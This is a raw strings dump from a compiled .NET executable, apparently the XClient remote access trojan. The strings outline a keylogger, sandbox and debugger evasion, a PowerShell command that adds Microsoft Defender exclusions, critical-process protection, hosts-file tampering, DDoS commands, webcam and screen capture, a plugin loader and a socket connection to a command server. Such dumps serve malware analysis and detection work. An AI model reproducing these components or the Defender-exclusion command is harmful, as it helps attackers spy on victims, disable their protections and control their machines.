!This program cannot be run in DOS mode.
`.rsrc
@.reloc
3b %(1
v4.0.30319
#Strings
<Module>
mscorlib
Microsoft.VisualBasic
MyApplication
MyComputer
MyProject
MyWebServices
ThreadSafeObjectProvider`1
Settings
ClientSocket
Messages
Uninstaller
XLogger
ProcessCritical
AlgorithmAES
Helper
LowLevelKeyboardProc
LASTINPUTINFO
EXECUTION_STATE
Microsoft.VisualBasic.ApplicationServices
ApplicationBase
Microsoft.VisualBasic.Devices
Computer
System
Object
.cctor
get_Computer
m_ComputerObjectProvider
get_Application
m_AppObjectProvider
get_User
m_UserObjectProvider
get_WebServices
m_MyWebServicesObjectProvider
Application
WebServices
Equals
GetHashCode
GetType
ToString
Create__Instance__
instance
Dispose__Instance__
get_GetInstance
m_ThreadStaticValue
GetInstance
InstallDir
InstallStr
LoggerPath
Exclusion
RunAntiAnalysis
anyrun
DetectManufacturer
DetectDebugger
DetectSandboxie
GetModuleHandle
lpModuleName
CheckRemoteDebuggerPresent
hProcess
isDebuggerPresent
isConnected
System.Net.Sockets
Socket
BufferLength
Buffer
System.IO
MemoryStream
System.Threading
ManualResetEvent
allDone
SendSync
Interval
ActivatePong
BeginConnect
ConnectServer
INDATE
Spread
Antivirus
IAsyncResult
BeginReceive
BeginRead
EndSend
isDisconnected
Plugin
SendMSG
SendError
Thread
ReportWindow
Monitoring
OpenUrl
Hidden
capCreateCaptureWindowA
lpszWindowName
dwStyle
nWidth
nHeight
hwndParent
Handle
capGetDriverDescriptionA
wDriver
lpszName
cbName
lpszVer
RunDisk
Extension
Memory
buffer
IsUpdate
CurrentActiveWindowTitle
SetHook
HookCallback
wParam
lParam
KeyboardLayout
vkCode
GetActiveWindowTitle
WM_KEYDOWN
_hookID
SetWindowsHookEx
idHook
dwThreadId
UnhookWindowsHookEx
CallNextHookEx
WHKEYBOARDLL
GetForegroundWindow
GetWindowThreadProcessId
lpdwProcessId
GetKeyState
keyCode
GetKeyboardState
lpKeyState
GetKeyboardLayout
idThread
System.Text
StringBuilder
ToUnicodeEx
wVirtKey
wScanCode
pwszBuff
cchBuff
wFlags
MapVirtualKey
uMapType
SetCurrentProcessIsCritical
isCritical
refWasCritical
needSystemCriticalBreaks
Microsoft.Win32
SessionEndingEventArgs
SystemEvents_SessionEnding
sender
CriticalProcess_Enable
CriticalProcesses_Disable
Decrypt
ProcessDpi
SetProcessDpiAwareness
awareness
IsValidDomainName
FileStream
fileStream
Alphabet
Random
current
GetRandomString
length
GetLastInputInfo
idletime
lastInputInf
GetLastInputTime
TimeSpan
sumofidletime
LastLastIdletime
LastAct
userAgents
GetWindowText
SetThreadExecutionState
esFlags
PreventSleep
GetHashT
strToHash
SetValue
GetValue
Decompress
Compress
AES_Encryptor
AES_Decryptor
_appMutex
CreateMutex
CloseMutex
MulticastDelegate
TargetObject
TargetMethod
AsyncCallback
BeginInvoke
DelegateCallback
DelegateAsyncState
EndInvoke
DelegateAsyncResult
Invoke
ValueType
cbSize
dwTime
value__
ES_CONTINUOUS
ES_DISPLAY_REQUIRED
ES_SYSTEM_REQUIRED
System.ComponentModel
EditorBrowsableAttribute
EditorBrowsableState
System.CodeDom.Compiler
GeneratedCodeAttribute
System.Diagnostics
DebuggerHiddenAttribute
Microsoft.VisualBasic.CompilerServices
StandardModuleAttribute
HideModuleNameAttribute
System.ComponentModel.Design
HelpKeywordAttribute
System.Runtime.CompilerServices
RuntimeHelpers
GetObjectValue
RuntimeTypeHandle
GetTypeFromHandle
Activator
CreateInstance
MyGroupCollectionAttribute
System.Runtime.InteropServices
ComVisibleAttribute
ThreadStaticAttribute
CompilerGeneratedAttribute
Interaction
Environ
String
Concat
VB$AnonymousDelegate_0
_Lambda$__1
_Lambda$__2
_Lambda$__3
DebuggerDisplayAttribute
DebuggerStepThroughAttribute
Exception
FileInfo
Conversions
Environment
ExpandEnvironmentVariables
ProjectData
SetProjectError
ClearProjectError
DirectoryInfo
get_Directory
get_FullName
Directory
Exists
CreateDirectory
Delete
ReadAllBytes
WriteAllBytes
SpecialFolder
GetFolderPath
GetFileNameWithoutExtension
CreateObject
Boolean
NewLateBinding
LateGet
ChangeType
LateSetComplex
LateCall
FileMode
ThreadStart
ToBoolean
ProcessStartInfo
set_FileName
ProcessWindowStyle
set_WindowStyle
set_Arguments
Process
WaitForExit
GetCurrentProcess
ProcessModule
get_MainModule
get_ModuleName
GetFileName
FailFast
System.Net
WebClient
DownloadString
Contains
ComputerInfo
get_OSFullName
ToLower
System.Collections
IEnumerator
System.Management
ManagementObjectSearcher
IEnumerable
GetEnumerator
get_Current
LateIndexGet
Operators
CompareString
ToUpperInvariant
MoveNext
IDisposable
Dispose
get_Handle
IntPtr
ToInt32
WaitHandle
WaitOne
STAThreadAttribute
DllImportAttribute
kernel32.dll
_Lambda$__4
_Lambda$__5
IPAddress
GetHostAddresses
TimerCallback
AddressFamily
SocketType
ProtocolType
set_ReceiveBufferSize
set_SendBufferSize
ToInteger
Connect
SocketFlags
EventWaitHandle
get_UserName
Replace
OperatingSystem
get_OSVersion
get_ServicePack
get_Is64BitOperatingSystem
DateTime
FileSystemInfo
get_LastWriteTime
System.Security.Principal
WindowsIdentity
GetCurrent
WindowsPrincipal
WindowsBuiltInRole
IsInRole
ManagementBaseObject
ManagementObjectCollection
ManagementObjectEnumerator
get_MachineName
get_Item
Append
get_Length
Substring
ObjectQuery
ManagementObject
ConcatenateObject
ServerComputer
get_Info
get_TotalPhysicalMemory
UInt64
Conversion
Double
Remove
EndReceive
ToArray
ToLong
Stream
WriteByte
ParameterizedThreadStart
ObjectFlowControl
CheckForSyncLockOnValueType
Monitor
SelectMode
BeginSend
Collect
_Closure$__1
$VB$Local_Host
$VB$Local_Port
_Lambda$__8
_Lambda$__6
_Lambda$__7
System.Drawing
Graphics
Rectangle
Bitmap
Strings
CompareMethod
System.Windows.Forms
Restart
SocketShutdown
Shutdown
Convert
FromBase64String
ServicePointManager
set_Expect100Continue
SecurityProtocolType
set_SecurityProtocol
set_DefaultConnectionLimit
GetTempPath
Combine
DownloadFile
AppWinStyle
AddObject
ReadAllText
WriteAllText
get_Message
Microsoft.VisualBasic.MyServices
RegistryProxy
get_Registry
RegistryKey
get_CurrentUser
DeleteSubKey
Screen
get_PrimaryScreen
get_Bounds
get_Width
get_Height
System.Drawing.Imaging
PixelFormat
FromImage
CopyPixelOperation
CopyFromScreen
GraphicsUnit
DrawImage
ImageFormat
get_Jpeg
ToBase64String
System.Reflection
MethodInfo
AppDomain
get_CurrentDomain
Assembly
GetTypes
MemberInfo
get_Name
GetMethods
ConditionalCompareObjectEqual
StartsWith
Stopwatch
FromSeconds
get_Elapsed
op_GreaterThan
System.Collections.Generic
List`1
GetProcesses
get_MainWindowTitle
IsNullOrEmpty
Func`2
System.Core
System.Linq
Enumerable
IEnumerable`1
HttpWebRequest
HttpWebResponse
WebRequest
Create
set_UserAgent
set_AllowAutoRedirect
set_Timeout
set_Method
WebResponse
GetResponse
EndsWith
get_EntryPoint
MethodBase
ParameterInfo
GetParameters
Encoding
get_UTF8
GetBytes
avicap32.dll
MarshalAsAttribute
UnmanagedType
StreamWriter
GetTempFileName
TextWriter
WriteLine
get_StartupPath
get_ExecutablePath
set_CreateNoWindow
set_ErrorDialog
set_UseShellExecute
get_ProcessName
op_Explicit
op_Equality
Marshal
ReadInt32
ToUInteger
get_NewLine
UInt32
GetProcessById
IsNullOrWhiteSpace
user32.dll
OutAttribute
SessionEndingEventHandler
SystemEvents
add_SessionEnding
EnterDebugMode
NTdll.dll
RtlSetProcessIsCritical
System.Security.Cryptography
RijndaelManaged
ICryptoTransform
MD5CryptoServiceProvider
HashAlgorithm
ComputeHash
SymmetricAlgorithm
set_Key
CipherMode
set_Mode
CreateDecryptor
TransformFinalBlock
get_FileName
UriHostNameType
CheckHostName
get_Chars
SizeOf
get_TickCount
GetString
get_ProcessorCount
get_SystemDirectory
GetPathRoot
DriveInfo
get_TotalSize
get_ASCII
ToUpper
Registry
CurrentUser
RegistryKeyPermissionCheck
CreateSubKey
RegistryValueKind
BitConverter
System.IO.Compression
GZipStream
CompressionMode
SubtractObject
CreateEncryptor
SHCore.dll
StructLayoutAttribute
LayoutKind
CompilationRelaxationsAttribute
RuntimeCompatibilityAttribute
GuidAttribute
AssemblyFileVersionAttribute
AssemblyTrademarkAttribute
AssemblyCopyrightAttribute
AssemblyProductAttribute
AssemblyCompanyAttribute
AssemblyDescriptionAttribute
AssemblyTitleAttribute
XClient
XClient.exe
MyTemplate
14.0.0.0
My.Computer
My.WebServices
My.Application
My.User
4System.Web.Services.Protocols.SoapHttpClientProtocol
Create__Instance__
Dispose__Instance__
<generated method>
<generated method>
WrapNonExceptionThrows
$20da5186-3e69-436e-bc04-8e08a2db2ac4
1.0.0.0
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
eNrSfFe+Q5ACRBfii/llTw==
VU7JLjhfel9Ee3ugX8PRng==
AyjzQt/VbZ3MfL6hl24Dlg==
AYZopZvGY+Gjld4IQbfebg==
V8efz3Pjzrt4VHkIFOvceA==
VPS+1DimqVkIbwi8kmciFQ==
4QuLpLkZasZs58RM94TqVw==
Xz6HWR2OR0HzMAYwUAs3Jw==
LkRlKJxmQjSvDYPt
\Log.tmp
WScript.Shell
CreateShortcut
TargetPath
WorkingDirectory
powershell.exe
-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '
-ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '
http://ip-api.com/line/?fields=hosting
Select * from Win32_ComputerSystem
Manufacturer
microsoft corporation
VIRTUAL
vmware
VirtualBox
SbieDll.dll
Microsoft
Service Pack
dd/MM/yyy
\root\SecurityCenter2
Select * from AntivirusProduct
displayName
SELECT * FROM Win32_VideoController
Win32_Processor.deviceid="CPU0"
Core(TM)
uninstall
update
Urlopen
Urlhide
PCShutdown
shutdown.exe /f /s /t 0
PCRestart
shutdown.exe /f /r /t 0
PCLogoff
shutdown.exe -L
RunShell
StartDDos
StopDDos
StartReport
StopReport
\drivers\etc\hosts
Shosts
HostsMSG
Modified successfully!
HostsErr
plugin
sendPlugin
savePlugin
RemovePlugins
Plugins Removed!
OfflineGet
Plugin
Invoke
RunRecovery
Recovery
RunOptions
injRun
UACFunc
ngrok+
Plugin Error!
ToLower
Open [
-ExecutionPolicy Bypass -File "
POST / HTTP/1.1
Host:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
User-Agent:
Content-length: 5235
@echo off
timeout 3 > NUL
" /f /q
ToUpper
[SPACE]
Return
[ENTER]
Escape
LControlKey
[CTRL]
RControlKey
RShiftKey
[Shift]
LShiftKey
[Back]
Capital
[CAPSLOCK: OFF]
[CAPSLOCK: ON]
MainWindowTitle
ProcessName
Software\
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
abcdefghijklmnopqrstuvwxyz
Err HWID
ToArray
abcdefghijklmnopqrstuvwxyz
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
FileDescription
FileVersion
1.0.0.0
InternalName
XClient.exe
LegalCopyright
OriginalFilename
XClient.exe
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0